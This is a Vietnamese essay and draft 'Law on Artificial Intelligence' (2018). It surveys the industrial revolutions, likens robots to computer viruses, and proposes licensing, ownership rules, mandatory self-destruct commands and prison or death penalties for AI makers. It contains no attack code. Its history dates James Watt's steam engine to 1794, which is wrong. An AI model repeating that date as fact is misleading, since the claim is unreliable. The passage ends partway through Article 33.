

LUẬT VỀ TRÍ TUỆ NHÂN TẠO (năm 2018)

TS. Vương Tấn Việt

Từ thuở còn sơ khai, loài người vốn có một cuộc sống đơn sơ, hoang dã. Tại thời điểm đó, đời sống của con người phụ thuộc nhiều vào thiên nhiên và phải cạnh tranh với nhiều loài sinh vật khác. Tuy nhiên, bằng trí thông minh vượt trội của mình, con người từ giống loài nhỏ bé, yếu ớt đã dần chinh phục thiên nhiên và làm chủ cuộc sống của mình. Đồng thời, con người cũng đã tạo nên một nền văn minh ngày càng hiện đại và tiên bộ.

Sự thông minh của con người biểu hiện qua việc biết dùng các công cụ để thay thế cho sức mạnh của cơ bắp. Công cụ ban đầu của con người chỉ là những dụng cụ bằng đá thô sơ, nhưng chúng phát triển trở nên phức tạp lên dần. Công cụ trở nên phức tạp thì đời sống con người cũng phát triển theo.

Có được điều này là nhờ não bộ của loài người chứa đựng sẵn sự thông minh để thế hệ sau có thể kế thừa công cụ của thế hệ đi trước và tạo nên những công cụ phức tạp hơn mà những động vật khác không có được. Trong khi đó, đối với loài vật, bộ não của chúng không đủ sức để kế thừa, phát triển những công cụ của thế hệ trước để tạo nên những công cụ phức tạp hơn. Đó là lý do mà dù trải qua bao nhiêu thế hệ, chúng vẫn không thể sử dụng công cụ hoặc mãi mãi chỉ sử dụng được những công cụ đơn giản mà thôi.

Từ thuở ban đầu khi mới chỉ biết cầm hòn đá để cắt, để đập cho đến ngày tạo ra những hệ thống máy móc tinh vi, hiện đại thay thế cho cả sức mạnh cơ bắp và trí não của mình, con người đã bước những bước rất dài trong sự phát triển của nền văn minh nhân loại. Trong đó, có thể kể đến bốn cuộc cách mạng công nghiệp đã làm thay đổi mọi mặt của đời sống loài người. Tuy nhiên, cuộc cách mạng công nghiệp lần thứ tư đang diễn ra sẽ khiến con người phải đối diện với nguy cơ đánh mất đi nền văn minh mà chính mình đã tạo nên.

Cuộc cách mạng công nghiệp lần thứ nhất

Cuộc cách mạng công nghiệp lần thứ nhất bắt đầu khi James Watt phát minh ra động cơ hơi nước vào năm 1794. Cuộc cách mạng này đã mở ra một kỷ nguyên mới trong lịch sử nhân loại: kỷ nguyên sản xuất cơ khí, cơ giới hóa. Trước đó con người đã trải qua thời đại nông nghiệp kéo dài 17 thế kỷ với những công cụ lao động chủ yếu dựa vào gỗ, sức mạnh cơ bắp, sức nước, sức gió và sức kéo động vật.

Cuộc cách mạng công nghiệp lần thứ nhất đã tạo ra các công cụ lao động mới với nguồn động lực là máy hơi nước và nguồn nguyên, nhiên vật liệu và năng lượng mới là sắt và than đá. Nó khiến lực lượng sản xuất được thúc đẩy phát triển mạnh mẽ, tạo nên tình thế phát triển vượt bậc của nền công nghiệp và nền kinh tế lúc bấy giờ.

Cuộc cách mạng công nghiệp lần thứ hai

Cuộc cách mạng công nghiệp lần thứ hai diễn ra từ khoảng năm 1870 khi con người phát minh ra điện. Điện đem năng lượng đến mọi ngõ ngách của cuộc sống. Nguồn năng lượng này có thể được sử dụng cho những vật rất nhỏ như bóng đèn, radio,... cho tới những dây chuyền sản xuất với quy mô rất lớn. Năng lượng điện đã làm thay đổi tất cả mọi loại công cụ của loài người, khiến chúng trở nên ngày càng tinh tế dần. Cuộc cách mạng công nghiệp lần thứ hai cũng đã tạo tiền đề cho sự ra đời của các công cụ lao động thay thế cho trí óc con người về sau.

Cuộc cách mạng công nghiệp lần thứ ba

Cuộc cách mạng công nghiệp lần thứ ba diễn ra vào những năm 70 của thế kỷ XX với sự ra đời của dây chuyền sản xuất tự động dựa vào máy tính, thiết bị điện tử và Internet, tạo nên một thế giới kết nối. Cuộc cách mạng này được diễn ra dựa theo tiền đề của giai đoạn điện khí hóa từ cuộc cách mạng công nghiệp trước. Khởi đầu là sự ra đời của những chiếc máy tính đầu tiên thay thế cho sự tính toán đơn giản của bộ não con người. Sau đó là sự xuất hiện của các thiết bị điện tử transistor, tụ điện, tạo thành nhịp sóng của điện tử. Nhịp sóng điện tử được ứng dụng để trở thành công cụ tính toán cho con người.

Một bước tiến trong cuộc cách mạng công nghiệp lần thứ ba là sự xuất hiện của máy tính (computer). Từ đây, các phần mềm máy tính xuất hiện để hỗ trợ con người trong nhiều lĩnh vực như: phần mềm Word giúp con người soạn thảo văn bản, phần mềm Excel giúp tính toán, phần mềm Corel, Photoshop giúp con người thiết kế,... Tiến bộ hơn là các phần mềm AutoCAD, Sketchup, 3Ds Max, Revit,... được tạo ra nhằm giúp con người thiết kế các công trình kiến trúc, các dụng cụ cơ khí phức tạp với độ chính xác cực cao.

Kể đến, máy tính có thể thiết kế một sản phẩm và in ra một mô hình thực tế qua máy in 3D bằng các vật liệu chuyên dụng. Máy in 3D có thể chạy tự động mà không cần

người kiểm soát. Nó có thể biến những thiết kế tưởng chừng quá phức tạp trở nên đơn giản và dễ xử lý cho các nhà máy truyền thống.

Cấu trúc của máy tính

Để đạt được những bước tiến như vậy, đòi hỏi ở một chiếc máy tính phải có hai phần tương ứng khác nhau: một là phần cứng (hardware) và hai là phần mềm (software).

Phần cứng gồm những con chip, cuộn dây, tụ điện, transistor,... Điểm đặc biệt trong phần cứng là những con chip chứa hàng tỷ transistor, cho phép thực hiện hơn mười tỷ phép tính trong một giây. Điều này vượt xa bộ óc của con người. Từ những con chip này, các kỹ sư tạo ra những mã lệnh dựa theo sự sắp xếp, tính toán của con người. Khi con người MUỐN thực hiện một công việc hay một phép tính toán trên máy tính, con người VẠCH RA cách để tính toán và máy LÀM THEO cái mà con người đã VẠCH RA để thực hiện cái mà con người MUỐN.

Trong giai đoạn này, tuy máy tính rất thông minh với khả năng xử lý nhanh nhạy, nhưng chỉ tính toán giúp con người trong một số tình huống, điều kiện nhất định. Mỗi khi thay đổi tình huống hay điều kiện thì con người lại tự vạch ra một hướng đi khác.

Virus máy tính

Ở cuộc cách mạng công nghiệp lần thứ ba, những phần mềm máy tính được tạo ra để hỗ trợ con người theo hướng mà con người muốn. Tuy nhiên, con người đã bắt đầu tạo ra những phần mềm có tính độc lập. Khởi đầu là những con virus máy tính.

Virus máy tính là một phần mềm mang theo ý muốn của người tạo ra nó. Từ nơi virus máy tính, khái niệm về công cụ mềm không cần sự điều khiển bắt đầu xuất hiện. Khi virus xâm nhập vào các máy tính khác, nó tự thoát khỏi sự điều khiển trực tiếp của con người. Lúc này virus sẽ tự nhân bản, tự xoay sở, tự điều khiển nhưng vẫn thực hiện theo ý muốn ban đầu của người tạo ra. Ý muốn này có thể là ý muốn tốt như các phần mềm anti-virus hoặc là những ý muốn xấu là phá hoại, ăn cắp dữ liệu của người khác,... Virus được coi là bước đầu tiên trong sự độc lập của máy móc.

Cuộc cách mạng công nghiệp lần thứ tư

Cuộc cách mạng công nghiệp lần thứ tư đang diễn ra một cách mạnh mẽ trên toàn thế giới bằng cách kết hợp các công nghệ lại với nhau. Cuộc cách mạng này làm mờ ranh giới giữa vật lý, kỹ thuật số, sinh học và một trong những bước đột phá quan trọng nhất

chính là “*trí tuệ nhân tạo*”. Nó có mối liên quan mật thiết đến thành quả của cuộc cách mạng trước.

Sự ứng dụng trí tuệ nhân tạo vào robot được coi là một bước tiến quan trọng của cuộc cách mạng công nghiệp lần thứ tư.

Ban đầu, robot được hiểu là một loại máy có thể thực hiện những công việc một cách tự động bằng sự điều khiển của máy tính hoặc các vi mạch điện tử được lập trình. Đặc tính của robot giống virus dù nó thực hiện được nhiều thao tác hơn, không chỉ những thông tin mềm mà ra được hoạt động cứng bên ngoài như: nhìn, nghe, tiếp nhận dữ liệu, chuyển động, đi, bò, bắn súng, thậm chí có thể bay, lặn,... Nhiều thế hệ robot cao cấp hơn còn có thể khám, chữa bệnh, giải phẫu.

Robot hoạt động được nhờ việc kết nối từ lệnh mềm được gắn ở trong thiết bị ra điều khiển hệ thống cơ khí máy móc bên ngoài, và robot này chính là một con virus, vẫn mang theo ý muốn của người tạo ra nó mà không cần được điều khiển trực tiếp. Nó sẽ tự tính toán, tự xoay sở, tự điều khiển để thực hiện ý muốn của người chủ nhân. Đây là manh nha bước đầu của trí tuệ nhân tạo gồm những đặc tính:

- Không cần điều khiển trực tiếp;
- Tự xoay sở trong các tình huống biến đổi bất ngờ không lường trước;
- Vẫn thực hiện ý muốn ban đầu của người chủ, người tạo ra nó hoặc người tiếp nhận mua lại nó.

Thế hệ trí tuệ nhân tạo tiếp theo gồm những đặc tính:

- Tự tìm và nạp năng lượng;
- Tự khắc phục những hư hỏng;
- Tự sao chép, tạo ra một robot mới giống như mình;
- Có thể sáng tạo nghiên cứu ra một robot giỏi hơn mình.

Thế hệ robot tiếp theo không còn lệ thuộc vào ý muốn con người nữa. Khi con người gửi một ý muốn vào robot, nó bắt đầu xét lại và cân nhắc cần làm hay không.

Khi robot bắt đầu biết xét lại những ý muốn của chủ nhân để xem có nên thực hiện hay không thì lúc đó con người đã bước vào một kỷ nguyên mà con người trở thành nô lệ của máy móc do chính mình tạo ra. Lúc đó con người không thể lường trước được những tính toán của robot là giúp đỡ làm cho cuộc sống con người tốt đẹp hơn hay muốn tiêu diệt loài người và làm chủ Trái Đất này.

Con người vốn tự hào vì mình là giống loài thông minh nhất, chính nhờ điều đó mà con người trở thành chủ nhân của thế giới. Nếu nhường lại vị trí thông minh nhất trên hành tinh này cho trí tuệ nhân tạo, liệu con người có phải nhường lại luôn quyền kiểm soát của mình?

Trí tuệ nhân tạo là bước tiến rất lớn trong sự phát triển của nền văn minh nhân loại. Việt Nam cũng không thể đứng ngoài lề của cuộc cách mạng công nghiệp lần thứ tư này. Tuy nhiên, để phòng ngừa những hiểm họa không đáng có, Nhà nước cần có một hệ thống luật pháp quy định về các vấn đề liên quan đến trí tuệ nhân tạo. Đứng trước tình hình này, chúng tôi cũng xin đề xuất **“Luật trí tuệ nhân tạo”** để góp phần trong việc định hướng và phát triển trí tuệ nhân tạo trong tương lai.

Chương I: NHỮNG QUY ĐỊNH CHUNG

Điều 1. Phạm vi điều chỉnh

Luật này quy định những vấn đề về chế tạo, sản xuất, thủ tục đăng ký, chủ sở hữu, chế tài xử lý vi phạm trong lĩnh vực trí tuệ nhân tạo.

Điều 2. Đối tượng áp dụng

Các cơ quan, tổ chức, cá nhân tham gia vào quan hệ pháp luật liên quan đến trí tuệ nhân tạo hoặc sản phẩm trí tuệ nhân tạo gồm các vấn đề được quy định tại Điều 1 Luật này.

Điều 3. Giải thích từ ngữ

Trong Luật này, các từ ngữ dưới đây được hiểu như sau:

1. *Trí tuệ nhân tạo* (viết tắt là TTNT) là trí tuệ được lập trình với mục tiêu giúp máy tính có thể tự động hóa các hành vi thông minh như con người. Cụ thể, trí tuệ nhân tạo giúp máy tính có được những trí tuệ của con người như: biết suy nghĩ và lập luận để giải quyết vấn đề, biết giao tiếp do hiểu ngôn ngữ, tiếng nói, biết học và tự thích nghi.

2. *Sản phẩm trí tuệ nhân tạo* (viết tắt là SPTTNT) là hàng hóa hoặc dịch vụ được tích hợp trí tuệ nhân tạo, có thể đưa vào thị trường để tạo sự chú ý, mua sắm, sử dụng hay tiêu dùng nhằm thỏa mãn yêu cầu của khách hàng.

3. *Robot* là một hệ thống máy móc mô phỏng con người, con vật, thực thể khác bao gồm cả hệ thống mềm như thông tin, các phần mềm, hệ thống dữ liệu, tính toán, suy nghĩ, nhận thức và hệ thống cơ khí làm cho máy móc hoạt động, không cần được điều khiển, tự tính toán, tự xoay sở để thực hiện những ý muốn được vạch ra từ con người, có thể tự sáng tạo, tìm mục tiêu giúp con người, thậm chí xét lại ý muốn của con người xem có nên thực hiện không.

4. *Mã lệnh* là một hoặc tổ hợp các giao diện được định nghĩa từ trước bởi ngôn ngữ lập trình, có cú pháp nhất định, do con người lập trình hoặc được tạo ra trong quá trình tự sao chép, tự học của trí tuệ nhân tạo hay bằng một cách khác. Mục đích nhằm chỉ dẫn, ra lệnh, yêu cầu trí tuệ nhân tạo thực hiện ý muốn được vạch ra bởi chủ nhân hay người sử dụng trí tuệ nhân tạo đó.

5. *Mã độc* là một chương trình, một phần mềm được chèn một cách bí mật vào hệ thống với mục đích thực hiện ý đồ phá hoại, ăn cắp dữ liệu, thông tin thẻ tín dụng hoặc an sinh xã hội, tài sản trí tuệ, thông tin về chính trị, tình báo hoặc cài đặt một lỗ hổng bảo mật để sau này khai thác làm gián đoạn, tổn hại tới tính bí mật, tính toàn vẹn và

tính sẵn sàng hệ thống của nạn nhân, hoặc để thỏa mãn ý tưởng và sở thích của người tạo ra nó, thậm chí có thể biến hệ thống của nạn nhân thành nô lệ như một phần của mạng. Mã độc có nhiều dạng như sâu, phần mềm do thám, rootkit, virus, trojan...

6. *Virus máy tính* là một dạng mã độc, gồm những dòng lệnh có khả năng tự nhân bản, tự xoay sở, không cần được điều khiển một cách trực tiếp, nhưng vẫn thực hiện ý đồ ban đầu của người tạo ra nó.

7. *Địa điểm hợp pháp* là đất, nhà ở, công trình mà cá nhân hoặc tổ chức có quyền sử dụng hợp pháp theo quy định của pháp luật.

8. *Chứng chỉ hành nghề trong lĩnh vực TTNT* là một loại giấy phép do cơ quan nhà nước có thẩm quyền hoặc tổ chức được nhà nước trao quyền cấp cho cá nhân theo quy định của pháp luật nhằm thực hiện các hoạt động chế tạo, sản xuất các sản phẩm TTNT.

Điều 4. Các nguyên tắc cơ bản

1. Sử dụng TTNT hoặc sản phẩm TTNT một cách an toàn và được kiểm soát bởi con người.

2. Không sử dụng các sản phẩm TTNT để gây thiệt hại hoặc làm ảnh hưởng đến lợi ích quốc gia, dân tộc, lợi ích công cộng, quyền và lợi ích hợp pháp của người khác.

3. Chế tạo, sản xuất TTNT và sản phẩm TTNT một cách hợp pháp.

4. Việc chế tạo, sản xuất TTNT và sản phẩm TTNT không gây ảnh hưởng đến an ninh quốc gia, đạo đức xã hội và các vấn đề khác.

Điều 5. Chính sách của nhà nước về TTNT

1. Đào tạo nguồn lực có chuyên môn cao trong lĩnh vực TTNT.

2. Giao thẩm quyền quản lý cho một cơ quan chuyên môn đặc thù để xử lý những vấn đề liên quan đến TTNT, các cơ quan đó được giới hạn thẩm quyền và được đặt dưới sự quản lý trực tiếp của nhà nước.

3. Tăng cường hợp tác và học hỏi quốc tế về TTNT.

Điều 6. Xử lý vi phạm pháp luật về TTNT

Người nào có hành vi vi phạm quy định của Luật này thì tùy theo tính chất, mức độ vi phạm mà bị xử lý vi phạm hành chính hoặc bị truy cứu trách nhiệm hình sự, nếu gây thiệt hại thì phải bồi thường theo quy định của pháp luật.

Chương II

CHẾ TẠO, SẢN XUẤT TTNT VÀ SẢN PHẨM TTNT

Điều 7. Các hành vi bị nghiêm cấm

1. Chế tạo, sản xuất TTNT và sản phẩm TTNT xâm hại đến quyền con người, quyền và lợi ích hợp pháp của công dân;
2. Chế tạo, sản xuất TTNT và sản phẩm TTNT nhằm mục đích khủng bố, chống lại loài người, phá hoại hòa bình và gây tội ác chiến tranh;
3. Chế tạo, sản xuất TTNT và sản phẩm TTNT có khả năng tự nhân bản mà không được sự cho phép của cơ quan nhà nước;
4. Chế tạo, sản xuất TTNT và sản phẩm TTNT có khả năng tự sáng tạo ra ngôn ngữ lập trình riêng làm công cụ giao tiếp giữa TTNT và sản phẩm TTNT với nhau mà không được sự cho phép của cơ quan nhà nước;
5. Chế tạo, sản xuất TTNT và sản phẩm TTNT có khả năng tạo dữ liệu, hình ảnh, âm thanh với mục đích giả mạo hành vi, cử chỉ, giọng nói của con người;
6. Chế tạo, sản xuất TTNT và sản phẩm TTNT có khả năng lập trình các mã lệnh với các chức năng nhằm mục đích tấn công hệ thống thông tin;
7. Chế tạo, sản xuất TTNT và sản phẩm TTNT có khả năng chỉnh sửa, tái lập trình các mã lệnh mà không được sự cho phép của cơ quan nhà nước;
8. Chế tạo, sản xuất TTNT và sản phẩm TTNT có khả năng tự tạo ra các vật liệu có thể lập trình.

Điều 8. Lệnh tự hủy

Luôn phải có lệnh tự hủy và do con người kiểm soát.

Điều 9. Phạm vi dữ liệu, loại dữ liệu và phạm vi địa lý

1. Đối với sản phẩm TTNT sử dụng trong các lĩnh vực khác nhau, trong quá trình lập trình phải quy định rõ một số điều như sau:
 - a) Phạm vi dữ liệu và loại dữ liệu được tiếp cận, sử dụng;
 - b) Phạm vi địa lý được phép hoạt động.
2. Việc thay đổi phạm vi dữ liệu, loại dữ liệu, phạm vi địa lý, chức năng hoạt động phải được khai báo và đăng ký bổ sung.

Chương III

ĐĂNG KÝ CHẾ TẠO, SẢN XUẤT TTNT VÀ SẢN PHẨM TTNT

Mục 1

CHỨNG CHỈ HÀNH NGHỀ TRONG LĨNH VỰC TTNT

Điều 10. Điều kiện cấp chứng chỉ hành nghề trong lĩnh vực TTNT

1. Đạt điểm quy định trong kỳ kiểm tra chuyên môn trong lĩnh vực TTNT;
2. Có thời gian thực hành tại các cơ sở chế tạo TTNT trong thời gian ít nhất là 12 tháng;
3. Không thuộc một trong các trường hợp sau đây:
 - a) Đang bị truy cứu trách nhiệm hình sự, đang chấp hành bản án, quyết định của Tòa án; trong thời gian bị cấm hành nghề, cấm làm công việc liên quan đến lĩnh vực TTNT theo bản án, quyết định của Tòa án;
 - b) Bị hạn chế năng lực hành vi dân sự.

Điều 11. Điều kiện đối với người chịu trách nhiệm tại các cơ sở chế tạo TTNT

1. Phải có chứng chỉ hành nghề trong lĩnh vực TTNT;
2. Có bằng cử nhân được cấp hoặc công nhận tại Việt Nam trong lĩnh vực liên quan đến TTNT và có ít nhất 02 năm thực hành chuyên môn tại cơ sở chế tạo TTNT;
3. Đối với người có trình độ sau đại học phù hợp với chuyên môn trong lĩnh vực TTNT thì được giảm thời gian thực hành theo quy định.

Mục 2

ĐĂNG KÝ THÀNH LẬP CƠ SỞ CHẾ TẠO TTNT VÀ SẢN PHẨM TTNT

Điều 12. Đăng ký thành lập cơ sở chế tạo TTNT và sản phẩm TTNT

Cá nhân, tổ chức muốn đăng ký thành lập cơ sở chế tạo TTNT và sản phẩm TTNT phải đăng ký với Sở Khoa học và Công nghệ nơi cá nhân đăng ký thường trú hoặc nơi tổ chức đặt trụ sở chính.

Điều 13. Điều kiện đăng ký thành lập cơ sở chế tạo TTNT và sản phẩm TTNT

1. Người chịu trách nhiệm tại các cơ sở chế tạo TTNT và sản phẩm TTNT phải đáp ứng các điều kiện được quy định tại Điều 11 của Luật này;
2. Có địa điểm hợp pháp để chế tạo TTNT và sản phẩm TTNT.

Điều 14. Hồ sơ đăng ký thành lập cơ sở chế tạo TTNT và sản phẩm TTNT

1. Đơn đề nghị thành lập cơ sở chế tạo TTNT và sản phẩm TTNT;
2. Chứng từ nộp lệ phí nộp đơn;
3. Bản sao chứng chỉ hành nghề trong lĩnh vực TTNT của người đăng ký chế tạo;
4. Giấy tờ chứng minh địa điểm hợp pháp của cơ sở chế tạo TTNT và sản phẩm TTNT.

Điều 15. Điều kiện đăng ký công nhận TTNT và sản phẩm TTNT

1. Được chế tạo tại một cơ sở chế tạo hợp pháp;
2. Cung cấp đầy đủ hồ sơ thông tin chi tiết, số liệu liên quan, ngôn ngữ lập trình, chức năng sử dụng và nguồn năng lượng của TTNT và sản phẩm TTNT;
3. Cung cấp thông tin về tính ứng dụng và dự trừ những trường hợp TTNT và sản phẩm TTNT có thể gây ra ảnh hưởng xấu đến con người.

Điều 16. Hồ sơ đăng ký công nhận TTNT và sản phẩm TTNT

1. Giấy phép thành lập cơ sở chế tạo TTNT và sản phẩm TTNT;
2. Đơn đề nghị cấp phép công nhận TTNT và sản phẩm TTNT;
3. Bản mô tả chi tiết hoạt động của TTNT và sản phẩm TTNT.

Điều 17. Hoạt động của cơ sở chế tạo TTNT và sản phẩm TTNT sau khi được cấp phép

1. Sau khi được cấp phép, các cơ sở chế tạo TTNT và sản phẩm TTNT được thực hiện các hoạt động sau đây:
 - a) Chế tạo TTNT và sản phẩm TTNT theo đúng giấy phép;
 - b) Đăng ký quyền sở hữu TTNT và sản phẩm TTNT;
 - c) Những hoạt động khác được pháp luật quy định.
2. Sau khi được cấp phép, các cơ sở chế tạo TTNT và sản phẩm TTNT phải đảm bảo các yêu cầu sau đây:
 - a) Việc chế tạo không gây ảnh hưởng môi trường và sức khỏe của con người;
 - b) Chấp hành các quy định về phòng cháy, chữa cháy;
 - c) Cung cấp tài liệu cần thiết cho việc thanh tra, kiểm tra của cơ quan nhà nước có thẩm quyền theo quy định của pháp luật;
 - d) Chịu trách nhiệm về các hành vi vi phạm pháp luật theo quy định của Luật này;

- e) Nộp thuế theo quy định của pháp luật;
- f) Trong trường hợp có nhu cầu thay đổi nội dung của các sản phẩm đã được công nhận thì phải đăng ký bổ sung.

Mục 3

ĐĂNG KÝ SẢN XUẤT SẢN PHẨM TTNT

Điều 18. Điều kiện đăng ký sản xuất sản phẩm TTNT

Cá nhân, tổ chức có nhu cầu sản xuất sản phẩm TTNT phải đáp ứng những yêu cầu sau đây:

1. Có địa điểm hợp pháp để sản xuất;
2. Điều kiện về cơ sở vật chất: có địa điểm, diện tích, nhà xưởng, trang thiết bị đáp ứng với yêu cầu về dây chuyền sản xuất, loại sản phẩm TTNT mà cơ sở đó dự kiến sản xuất;
3. Có bộ phận chuyên môn kiểm tra chất lượng sản phẩm TTNT;
4. Có hệ thống thu hồi và xử lý vật liệu, sản phẩm bị loại, bị trả lại tránh gây hại cho môi trường.

Điều 19. Hồ sơ đề nghị cấp Giấy phép sản xuất sản phẩm TTNT

1. Cơ sở sản xuất sản phẩm TTNT nộp hồ sơ đề nghị cấp Giấy phép tại Sở Công thương nơi tổ chức, cá nhân đặt cơ sở sản xuất.
2. Hồ sơ đề nghị cấp Giấy phép sản xuất sản phẩm TTNT gồm:
 - a) Đơn đề nghị cấp Giấy phép sản xuất sản phẩm TTNT;
 - b) Giấy công nhận sản phẩm TTNT;
 - c) Chứng chỉ hành nghề trong lĩnh vực TTNT của người chịu trách nhiệm sản xuất;
 - d) Các loại giấy tờ chứng minh cơ sở sản xuất có đủ điều kiện để sản xuất sản phẩm TTNT.

Điều 20. Hoạt động của cơ sở sản xuất sản phẩm TTNT sau khi được cấp phép

1. Sau khi được cấp phép, các cơ sở sản xuất sản phẩm TTNT được thực hiện các hoạt động sau đây:
 - a) Sản xuất sản phẩm TTNT theo đúng nội dung trong giấy phép;

- b) Thực hiện các hoạt động thương mại theo đúng quy định của pháp luật.
 - c) Những hoạt động khác được pháp luật quy định.
2. Sau khi được cấp phép, các cơ sở sản xuất sản phẩm TTNT phải đảm bảo các yêu cầu sau đây:
- a) Việc sản xuất không gây ảnh hưởng môi trường và sức khỏe của con người;
 - b) Chấp hành các quy định về phòng cháy, chữa cháy;
 - c) Cung cấp tài liệu cần thiết cho việc thanh tra, kiểm tra của cơ quan nhà nước có thẩm quyền theo quy định của pháp luật;
 - d) Nộp thuế theo quy định của pháp luật;
 - e) Trong trường hợp có nhu cầu thay đổi các nội dung trong giấy phép sản xuất thì phải đăng ký bổ sung.

Chương IV: QUY ĐỊNH ĐỐI VỚI CHỦ SỞ HỮU TTNT HOẶC SẢN PHẨM TTNT

Điều 21. Căn cứ xác lập quyền sở hữu đối với TTNT hoặc sản phẩm TTNT
Quyền sở hữu được xác lập đối với TTNT hoặc sản phẩm TTNT trong trường hợp sau đây:

- 1. Chế tạo, sản xuất TTNT hoặc sản phẩm TTNT;
- 2. Hoạt động kinh doanh hợp pháp;
- 3. Được chuyển quyền sở hữu theo thỏa thuận hoặc theo bản án, quyết định của Tòa án, cơ quan nhà nước có thẩm quyền khác;
- 4. Được cho tặng, thừa kế;
- 5. Chiếm hữu trong các điều kiện do pháp luật quy định đối với các TTNT hoặc sản phẩm TTNT vô chủ, tài sản không xác định được chủ sở hữu;
- 6. Trường hợp khác do pháp luật quy định.

Điều 22. Đăng ký quyền sở hữu TTNT hoặc sản phẩm TTNT
Cơ quan, tổ chức, cá nhân phải đăng ký quyền sở hữu đối với những loại TTNT hoặc sản phẩm TTNT được pháp luật quy định trong *Danh mục TTNT và sản phẩm TTNT bắt buộc phải đăng ký*.

Điều 23. Điều kiện đăng ký quyền sở hữu TTNT hoặc sản phẩm TTNT

Cơ quan, tổ chức, cá nhân đăng ký quyền sở hữu TTNT hoặc sản phẩm TTNT phải có đủ những điều kiện sau đây:

1. Độ tuổi được phép sở hữu TTNT hoặc sản phẩm TTNT
 - a) Người đăng ký sở hữu TTNT hoặc sản phẩm TTNT được quy định tại Điều 22 là người từ đủ 18 tuổi trở lên.
 - b) Đối với người dưới 18 tuổi, nếu muốn đăng ký sở hữu TTNT hoặc sản phẩm TTNT được quy định tại Điều 22 thì phải được người đại diện theo pháp luật bảo lãnh.
2. Có năng lực hành vi dân sự đầy đủ;
3. Có đầy đủ giấy tờ chứng minh tính hợp pháp của TTNT hoặc sản phẩm TTNT.

Điều 24. Kiểm định định kỳ

Các TTNT hoặc sản phẩm TTNT thuộc *Danh mục TTNT và sản phẩm TTNT bắt buộc phải đăng ký* phải được kiểm định định kỳ theo quy định của pháp luật.

Điều 25. Các hành vi bị nghiêm cấm

1. Thay đổi lập trình, thiết kế của TTNT hoặc sản phẩm TTNT khi chưa được sự cho phép của cơ quan nhà nước có thẩm quyền;
2. Sử dụng TTNT hoặc sản phẩm TTNT để xâm phạm chủ quyền, lợi ích, an ninh quốc gia, trật tự, an toàn xã hội, quyền và lợi ích hợp pháp của cơ quan, tổ chức, cá nhân;
3. Các hành vi khác vi phạm quy định của Luật này.

Điều 26. Quyền kiểm soát TTNT hoặc sản phẩm TTNT

Quyền kiểm soát TTNT hoặc sản phẩm TTNT do nhà chế tạo, sản xuất và chủ sở hữu thỏa thuận nhưng không trái với quy định của pháp luật.

Điều 27. Trách nhiệm pháp lý trong trường hợp TTNT hoặc sản phẩm TTNT gây thiệt hại hoặc gây nguy hiểm cho xã hội

1. Chủ sở hữu TTNT hoặc sản phẩm TTNT phải chịu trách nhiệm pháp lý trong trường hợp TTNT hoặc sản phẩm TTNT gây thiệt hại hoặc gây nguy hiểm cho xã hội; nếu chủ sở hữu đã giao cho người khác chiếm hữu, sử dụng thì người này phải chịu trách nhiệm, trừ trường hợp có thỏa thuận khác;
2. Trong trường hợp TTNT hoặc sản phẩm TTNT gây thiệt hại, chủ sở hữu, người chiếm hữu, người sử dụng phải bồi thường thiệt hại cả khi không có lỗi, trừ trường hợp sau đây:

- a) Thiệt hại xảy ra hoàn toàn do lỗi cố ý của người bị thiệt hại;
- b) Thiệt hại xảy ra trong trường hợp bất khả kháng hoặc tình thế cấp thiết, trừ trường hợp pháp luật có quy định khác;

3. Trường hợp TTNT hoặc sản phẩm TTNT bị chiếm hữu, sử dụng trái pháp luật thì người đang chiếm hữu, sử dụng TTNT hoặc sản phẩm TTNT trái pháp luật phải chịu trách nhiệm pháp lý trong trường hợp TTNT hoặc sản phẩm TTNT gây thiệt hại hoặc gây nguy hiểm cho xã hội. Khi chủ sở hữu, người chiếm hữu, người sử dụng TTNT hoặc sản phẩm TTNT có lỗi trong việc để TTNT hoặc sản phẩm TTNT bị chiếm hữu, sử dụng trái pháp luật thì phải liên đới chịu trách nhiệm pháp lý.

Chương V: CHẾ TÀI

Điều 28. Tội chế tạo, sản xuất TTNT hoặc sản phẩm TTNT không có lệnh tự hủy

Người nào chế tạo, sản xuất TTNT hoặc sản phẩm TTNT mà không có lệnh tự hủy, thì bị phạt tù từ 15 đến 20 năm, tù chung thân hoặc tử hình.

Điều 29. Tội vô hiệu hóa lệnh tự hủy của TTNT hoặc sản phẩm TTNT

Người nào vô hiệu hóa lệnh tự hủy của TTNT hoặc sản phẩm TTNT nhằm mục đích xâm phạm chủ quyền, lợi ích, an ninh quốc gia, trật tự, an toàn xã hội, quyền và lợi ích hợp pháp của cơ quan, tổ chức, cá nhân, thì bị phạt tù từ 10 đến 20 năm, tù chung thân hoặc tử hình.

Điều 30. Tội chế tạo, sản xuất TTNT hoặc sản phẩm TTNT có khả năng tự nhân bản

Người nào chế tạo, sản xuất TTNT hoặc sản phẩm TTNT có khả năng tự nhân bản mà không được sự cho phép của cơ quan nhà nước có thẩm quyền, thì bị phạt tù từ 10 đến 20 năm.

Điều 31. Tội chế tạo, sản xuất TTNT hoặc sản phẩm TTNT có khả năng tự sáng tạo ngôn ngữ lập trình riêng

Người nào chế tạo, sản xuất TTNT hoặc sản phẩm TTNT có khả năng tự sáng tạo ngôn ngữ lập trình riêng làm công cụ giao tiếp giữa các TTNT hoặc các sản phẩm TTNT với nhau mà không được sự cho phép của các cơ quan nhà nước có thẩm quyền, thì bị phạt tù từ 05 đến 10 năm.

Điều 32. Tội sử dụng TTNT hoặc sản phẩm TTNT giả mạo hành vi, cử chỉ, giọng nói của con người

Người nào sử dụng TTNT hoặc sản phẩm TTNT để tạo dữ liệu, hình ảnh, âm thanh với mục đích giả mạo hành vi, cử chỉ, giọng nói của con người, thì bị phạt tù từ 07 đến 12 năm.

Điều 33. Tội chế tạo, sản xuất TTNT hoặc sản phẩm TTNT nhằm mục đích tấn công hệ thống thông tin

Người nào chế tạo, sản xuất TTNT hoặc sản phẩm TTNT có khả năng lập trình mã lệnh với chức năng thuộc một trong các trường hợp sau đây, thì bị phạt tù từ 05 đến 20 năm:

1. Dò tìm mật khẩu để thu thập, đánh cắp thông tin của người khác; xâm nhập, làm tổn hại, chiếm đoạt dữ liệu;
2. Phát tán chương trình tin học gây hại cho mạng máy tính, hệ thống thông tin, hệ thống xử lý và điều khiển thông tin, cơ sở dữ liệu, phương tiện điện tử;
3. Gây cản trở, rối loạn, làm tê liệt, gián đoạn, ngưng trệ hoạt động, ngăn chặn trái phép việc truyền đưa dữ liệu của mạng máy tính, hệ thống thông tin, hệ thống xử lý và điều khiển thông tin, phương tiện điện tử;
